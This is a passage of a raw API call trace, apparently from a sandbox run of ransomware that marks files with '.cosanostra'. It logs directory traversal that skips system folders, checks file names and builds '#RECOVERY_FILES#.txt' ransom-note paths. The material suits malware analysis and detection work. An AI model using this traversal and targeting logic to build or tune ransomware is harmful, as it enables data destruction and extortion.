lstrlenW (lpString="System Volume Information") returned 25 [0081.235] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 58 [0081.235] StrStrIW (lpFirst="RacDatabase.sdf", lpSrch=".cosanostra") returned 0x0 [0081.235] lstrcmpW (lpString1="RacDatabase.sdf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.235] lstrcmpW (lpString1="RacDatabase.sdf", lpString2="_uninstalling_.png") returned 1 [0081.235] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 58 [0081.235] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.235] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="Windows") returned -1 [0081.235] lstrlenW (lpString="Windows") returned 7 [0081.235] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="Program Files") returned 1 [0081.235] lstrlenW (lpString="Program Files") returned 13 [0081.235] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="Program Files (x86)") returned 1 [0081.236] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.236] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="$Recycle.bin") returned 1 [0081.236] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.236] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="System Volume Information") returned -1 [0081.236] lstrlenW (lpString="System Volume Information") returned 25 [0081.236] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned 58 [0081.236] StrStrIW (lpFirst="RacMetaData.dat", lpSrch=".cosanostra") returned 0x0 [0081.236] lstrcmpW (lpString1="RacMetaData.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.236] lstrcmpW (lpString1="RacMetaData.dat", lpString2="_uninstalling_.png") returned 1 [0081.236] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned 58 [0081.236] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.236] lstrcmpiW (lpString1="RacWmiDataBookmarks.dat", lpString2="Windows") returned -1 [0081.236] lstrlenW (lpString="Windows") returned 7 [0081.236] lstrcmpiW (lpString1="RacWmiDataBookmarks.dat", lpString2="Program Files") returned 1 [0081.236] lstrlenW (lpString="Program Files") returned 13 [0081.236] lstrcmpiW (lpString1="RacWmiDataBookmarks.dat", lpString2="Program Files (x86)") returned 1 [0081.236] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.236] lstrcmpiW (lpString1="RacWmiDataBookmarks.dat", lpString2="$Recycle.bin") returned 1 [0081.236] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.236] lstrcmpiW (lpString1="RacWmiDataBookmarks.dat", lpString2="System Volume Information") returned -1 [0081.236] lstrlenW (lpString="System Volume Information") returned 25 [0081.236] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat") returned 66 [0081.236] StrStrIW (lpFirst="RacWmiDataBookmarks.dat", lpSrch=".cosanostra") returned 0x0 [0081.236] lstrcmpW (lpString1="RacWmiDataBookmarks.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.236] lstrcmpW (lpString1="RacWmiDataBookmarks.dat", lpString2="_uninstalling_.png") returned 1 [0081.236] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat") returned 66 [0081.236] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.236] lstrcmpiW (lpString1="RacWmiEventData.dat", lpString2="Windows") returned -1 [0081.236] lstrlenW (lpString="Windows") returned 7 [0081.236] lstrcmpiW (lpString1="RacWmiEventData.dat", lpString2="Program Files") returned 1 [0081.236] lstrlenW (lpString="Program Files") returned 13 [0081.236] lstrcmpiW (lpString1="RacWmiEventData.dat", lpString2="Program Files (x86)") returned 1 [0081.236] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.236] lstrcmpiW (lpString1="RacWmiEventData.dat", lpString2="$Recycle.bin") returned 1 [0081.236] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.236] lstrcmpiW (lpString1="RacWmiEventData.dat", lpString2="System Volume Information") returned -1 [0081.236] lstrlenW (lpString="System Volume Information") returned 25 [0081.236] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat") returned 62 [0081.236] StrStrIW (lpFirst="RacWmiEventData.dat", lpSrch=".cosanostra") returned 0x0 [0081.236] lstrcmpW (lpString1="RacWmiEventData.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.236] lstrcmpW (lpString1="RacWmiEventData.dat", lpString2="_uninstalling_.png") returned 1 [0081.236] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat") returned 62 [0081.236] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.236] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.237] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\#RECOVERY_FILES#.txt") returned 63 [0081.237] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\#RECOVERY_FILES#.txt") returned 63 [0081.237] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.237] lstrcmpiW (lpString1="Temp", lpString2="Windows") returned -1 [0081.237] lstrlenW (lpString="Windows") returned 7 [0081.237] lstrcmpiW (lpString1="Temp", lpString2="Program Files") returned 1 [0081.237] lstrlenW (lpString="Program Files") returned 13 [0081.237] lstrcmpiW (lpString1="Temp", lpString2="Program Files (x86)") returned 1 [0081.237] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.237] lstrcmpiW (lpString1="Temp", lpString2="$Recycle.bin") returned 1 [0081.237] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.237] lstrcmpiW (lpString1="Temp", lpString2="System Volume Information") returned 1 [0081.237] lstrlenW (lpString="System Volume Information") returned 25 [0081.237] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp") returned 37 [0081.237] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0081.237] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0081.237] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\*") returned 39 [0081.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.237] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.237] lstrlenW (lpString="Windows") returned 7 [0081.237] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.237] lstrlenW (lpString="Program Files") returned 13 [0081.237] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.237] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.237] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.237] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.237] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.237] lstrlenW (lpString="System Volume Information") returned 25 [0081.237] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\.") returned 39 [0081.237] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.237] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.237] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.237] lstrlenW (lpString="Windows") returned 7 [0081.237] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.237] lstrlenW (lpString="Program Files") returned 13 [0081.237] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.237] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.237] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.237] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.237] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.237] lstrlenW (lpString="System Volume Information") returned 25 [0081.238] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\..") returned 40 [0081.238] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.238] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.238] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.238] lstrcmpiW (lpString1="sql452A.tmp", lpString2="Windows") returned -1 [0081.238] lstrlenW (lpString="Windows") returned 7 [0081.238] lstrcmpiW (lpString1="sql452A.tmp", lpString2="Program Files") returned 1 [0081.238] lstrlenW (lpString="Program Files") returned 13 [0081.238] lstrcmpiW (lpString1="sql452A.tmp", lpString2="Program Files (x86)") returned 1 [0081.238] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.238] lstrcmpiW (lpString1="sql452A.tmp", lpString2="$Recycle.bin") returned 1 [0081.238] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.238] lstrcmpiW (lpString1="sql452A.tmp", lpString2="System Volume Information") returned -1 [0081.238] lstrlenW (lpString="System Volume Information") returned 25 [0081.238] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql452A.tmp") returned 49 [0081.238] StrStrIW (lpFirst="sql452A.tmp", lpSrch=".cosanostra") returned 0x0 [0081.238] lstrcmpW (lpString1="sql452A.tmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.238] lstrcmpW (lpString1="sql452A.tmp", lpString2="_uninstalling_.png") returned 1 [0081.238] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql452A.tmp") returned 49 [0081.238] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.238] lstrcmpiW (lpString1="sql453A.tmp", lpString2="Windows") returned -1 [0081.240] lstrlenW (lpString="Windows") returned 7 [0081.240] lstrcmpiW (lpString1="sql453A.tmp", lpString2="Program Files") returned 1 [0081.240] lstrlenW (lpString="Program Files") returned 13 [0081.240] lstrcmpiW (lpString1="sql453A.tmp", lpString2="Program Files (x86)") returned 1 [0081.240] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.240] lstrcmpiW (lpString1="sql453A.tmp", lpString2="$Recycle.bin") returned 1 [0081.240] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.240] lstrcmpiW (lpString1="sql453A.tmp", lpString2="System Volume Information") returned -1 [0081.240] lstrlenW (lpString="System Volume Information") returned 25 [0081.240] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql453A.tmp") returned 49 [0081.240] StrStrIW (lpFirst="sql453A.tmp", lpSrch=".cosanostra") returned 0x0 [0081.240] lstrcmpW (lpString1="sql453A.tmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.240] lstrcmpW (lpString1="sql453A.tmp", lpString2="_uninstalling_.png") returned 1 [0081.240] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql453A.tmp") returned 49 [0081.240] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.240] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.241] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\#RECOVERY_FILES#.txt") returned 58 [0081.241] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\#RECOVERY_FILES#.txt") returned 58 [0081.241] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.241] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.241] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\#RECOVERY_FILES#.txt") returned 53 [0081.241] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\#RECOVERY_FILES#.txt") returned 53 [0081.241] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.241] lstrcmpiW (lpString1="Search", lpString2="Windows") returned -1 [0081.241] lstrlenW (lpString="Windows") returned 7 [0081.241] lstrcmpiW (lpString1="Search", lpString2="Program Files") returned 1 [0081.241] lstrlenW (lpString="Program Files") returned 13 [0081.241] lstrcmpiW (lpString1="Search", lpString2="Program Files (x86)") returned 1 [0081.241] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.241] lstrcmpiW (lpString1="Search", lpString2="$Recycle.bin") returned 1 [0081.241] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.241] lstrcmpiW (lpString1="Search", lpString2="System Volume Information") returned -1 [0081.241] lstrlenW (lpString="System Volume Information") returned 25 [0081.241] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search") returned 35 [0081.241] lstrcmpW (lpString1="Search", lpString2=".") returned 1 [0081.241] lstrcmpW (lpString1="Search", lpString2="..") returned 1 [0081.242] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\*") returned 37 [0081.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.248] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.248] lstrlenW (lpString="Windows") returned 7 [0081.248] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.248] lstrlenW (lpString="Program Files") returned 13 [0081.248] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.248] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.248] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.248] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.248] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.248] lstrlenW (lpString="System Volume Information") returned 25 [0081.248] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\.") returned 37 [0081.248] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.248] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.248] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.249] lstrlenW (lpString="Windows") returned 7 [0081.249] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.249] lstrlenW (lpString="Program Files") returned 13 [0081.249] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.249] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.249] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.249] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.249] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.249] lstrlenW (lpString="System Volume Information") returned 25 [0081.249] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\..") returned 38 [0081.249] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.249] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.249] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.249] lstrcmpiW (lpString1="Data", lpString2="Windows") returned -1 [0081.249] lstrlenW (lpString="Windows") returned 7 [0081.249] lstrcmpiW (lpString1="Data", lpString2="Program Files") returned -1 [0081.249] lstrlenW (lpString="Program Files") returned 13 [0081.249] lstrcmpiW (lpString1="Data", lpString2="Program Files (x86)") returned -1 [0081.249] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.249] lstrcmpiW (lpString1="Data", lpString2="$Recycle.bin") returned 1 [0081.249] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.249] lstrcmpiW (lpString1="Data", lpString2="System Volume Information") returned -1 [0081.249] lstrlenW (lpString="System Volume Information") returned 25 [0081.249] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data") returned 40 [0081.249] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0081.249] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0081.249] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\*") returned 42 [0081.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.250] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.250] lstrlenW (lpString="Windows") returned 7 [0081.250] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.250] lstrlenW (lpString="Program Files") returned 13 [0081.250] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.250] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.250] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.250] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.250] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.250] lstrlenW (lpString="System Volume Information") returned 25 [0081.250] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\.") returned 42 [0081.250] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.250] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.250] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.250] lstrlenW (lpString="Windows") returned 7 [0081.250] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.250] lstrlenW (lpString="Program Files") returned 13 [0081.250] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.250] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.250] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.250] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.250] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.250] lstrlenW (lpString="System Volume Information") returned 25 [0081.250] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\..") returned 43 [0081.250] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.250] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.250] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.250] lstrcmpiW (lpString1="Applications", lpString2="Windows") returned -1 [0081.250] lstrlenW (lpString="Windows") returned 7 [0081.250] lstrcmpiW (lpString1="Applications", lpString2="Program Files") returned -1 [0081.250] lstrlenW (lpString="Program Files") returned 13 [0081.250] lstrcmpiW (lpString1="Applications", lpString2="Program Files (x86)") returned -1 [0081.250] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.250] lstrcmpiW (lpString1="Applications", lpString2="$Recycle.bin") returned 1 [0081.250] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.250] lstrcmpiW (lpString1="Applications", lpString2="System Volume Information") returned -1 [0081.250] lstrlenW (lpString="System Volume Information") returned 25 [0081.251] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned 53 [0081.251] lstrcmpW (lpString1="Applications", lpString2=".") returned 1 [0081.251] lstrcmpW (lpString1="Applications", lpString2="..") returned 1 [0081.251] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*") returned 55 [0081.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.266] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.266] lstrlenW (lpString="Windows") returned 7 [0081.266] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.266] lstrlenW (lpString="Program Files") returned 13 [0081.266] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.266] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.266] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.266] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.266] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.266] lstrlenW (lpString="System Volume Information") returned 25 [0081.266] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\.") returned 55 [0081.266] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.266] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.266] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.266] lstrlenW (lpString="Windows") returned 7 [0081.266] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.267] lstrlenW (lpString="Program Files") returned 13 [0081.267] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.267] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.267] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.267] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.267] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.267] lstrlenW (lpString="System Volume Information") returned 25 [0081.267] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\..") returned 56 [0081.267] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.267] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.267] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.267] lstrcmpiW (lpString1="Windows", lpString2="Windows") returned 0 [0081.267] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.267] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.267] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\#RECOVERY_FILES#.txt") returned 74 [0081.267] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\#RECOVERY_FILES#.txt") returned 74 [0081.267] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.267] lstrcmpiW (lpString1="Temp", lpString2="Windows") returned -1 [0081.267] lstrlenW (lpString="Windows") returned 7 [0081.267] lstrcmpiW (lpString1="Temp", lpString2="Program Files") returned 1 [0081.267] lstrlenW (lpString="Program Files") returned 13 [0081.267] lstrcmpiW (lpString1="Temp", lpString2="Program Files (x86)") returned 1 [0081.267] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.267] lstrcmpiW (lpString1="Temp", lpString2="$Recycle.bin") returned 1 [0081.267] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.267] lstrcmpiW (lpString1="Temp", lpString2="System Volume Information") returned 1 [0081.267] lstrlenW (lpString="System Volume Information") returned 25 [0081.267] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp") returned 45 [0081.267] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0081.267] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0081.267] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*") returned 47 [0081.267] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.268] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.268] lstrlenW (lpString="Windows") returned 7 [0081.268] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.268] lstrlenW (lpString="Program Files") returned 13 [0081.268] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.268] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.268] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.268] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.268] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.268] lstrlenW (lpString="System Volume Information") returned 25 [0081.268] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\.") returned 47 [0081.268] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.268] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.268] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.268] lstrlenW (lpString="Windows") returned 7 [0081.268] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.268] lstrlenW (lpString="Program Files") returned 13 [0081.268] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.268] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.268] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.268] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.268] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.268] lstrlenW (lpString="System Volume Information") returned 25 [0081.268] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\..") returned 48 [0081.268] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.268] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.268] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.268] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.268] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\#RECOVERY_FILES#.txt") returned 66 [0081.268] lstrlenW 